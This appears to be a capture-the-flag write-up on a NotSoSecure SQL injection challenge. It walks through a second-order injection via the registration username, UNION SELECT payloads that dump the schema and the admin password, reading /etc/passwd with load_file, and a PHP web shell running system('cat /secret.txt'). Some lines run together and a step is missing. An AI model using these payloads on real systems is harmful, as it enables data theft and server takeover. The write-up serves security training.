I was trying for a very long time to inject some SQL into the username of password fields, to no avail. Then when I was checking out Twitter, I found that somebody has already managed to log in by registering. Then I tried to load register.php, and it worked. I got a nice message there: "Invalid data".
I tried to send post data to the register page, but I couldn't get the post parameter names correctly, because I always received the "Invalid data" message. After this, I tried to load different pages with mixed results. Then when I tried /login/ the result was strange. The HTML was the same, but the CSS could not be loaded because of the different path. It was the same with /register/ and /login/login/.../.
After looking at the HTML source in detail, I found that the login parameters are actually submitted to checklogin.php. When trying to load the /checklogin/ page however, the browser displayed a redirection error. That was strange, so I checked it out with this little python code instead:
url = "http://ctf.notsosecure.com/71367217217126217712/checklogin"
print requests.get(url, allow_redirects=False).text
The result was: 7365637265745f72656769737465722e68746d6c. If we unhexlify this value, we get: "secret_register.html", and this is the first clue. After this I could register, and log in with the new user. This is what I saw when logging in:
Again I spent lots and lots of time trying to slip some SQLi into the system when registering, but it never seemed to work. No error messages, and the user was registered correctly every time. Then I looked at the cookies after logging in and I found something interesting:
The session_id was "cGxhaW50ZXh0QHBsYWludGV4dC5wbA%3D%3D", which is a base64 encoded string. After decoding it I got "firstname.lastname@example.org", which is the fake e-mail address I registered with. During some tests I discovered that there is no session_id cookie if I try to inject into the username field. After this I wrote a python script that registers a user with the input I supply and checks the cookies. You can find the script here. These values were interesting:
registered value --> cookieThe backslashes are very suspiciously escaped here so I tried to do some SQLi and check the cookie for the results. Amazingly it worked. Here is the output of my script:
admin\ --> email@example.com
admin\\ --> admin\
admin\\\ --> admin\
admin\\\\ --> admin\\
test' or 1=1--
test' and 1=0 union all select 1--
test' and 1=0 union all select 1,2--
Gotcha! It's time to dump table names and columns. A log of my tries follows, with some of the unnecessary tries deleted:
test' and 1=0 union all select 1,2 from information_schema.tables--
We have read access!
test' and 1=0 union all select table_name,2 from information_schema.tables limit 40,1--
test' and 1=0 union all select table_schema,2 from information_schema.tables limit 40,1--
test' and 1=0 union all select column_name,2 from information_schema.columns where table_name='users' limit 0,1--
test' and 1=0 union all select column_name,2 from information_schema.columns where table_name='users' limit 1,1--
test' and 1=0 union all select column_name,2 from information_schema.columns where table_name='users' limit 2,1--
And I can find the password for the admin with this query:
test' and 1=0 union all select concat(name,char(0x20),password),1 from 2ndorder.users--
Cookie: admin sqlilabRocKs!!
Yay! I can now log in and get the first flag!
And I get a very clear clue about the second flag. I need to access files on the server, namely secret.txt. Let's see if I have file privileges in MySQL:
test' and 1=0 union all selectload_file('/etc/passwd'),1--
<?php echo system("cat /secret.txt"); ?>This worked like a charm! After visiting http://ctf.notsosecure.com/~temp123/x.php I found the second flag.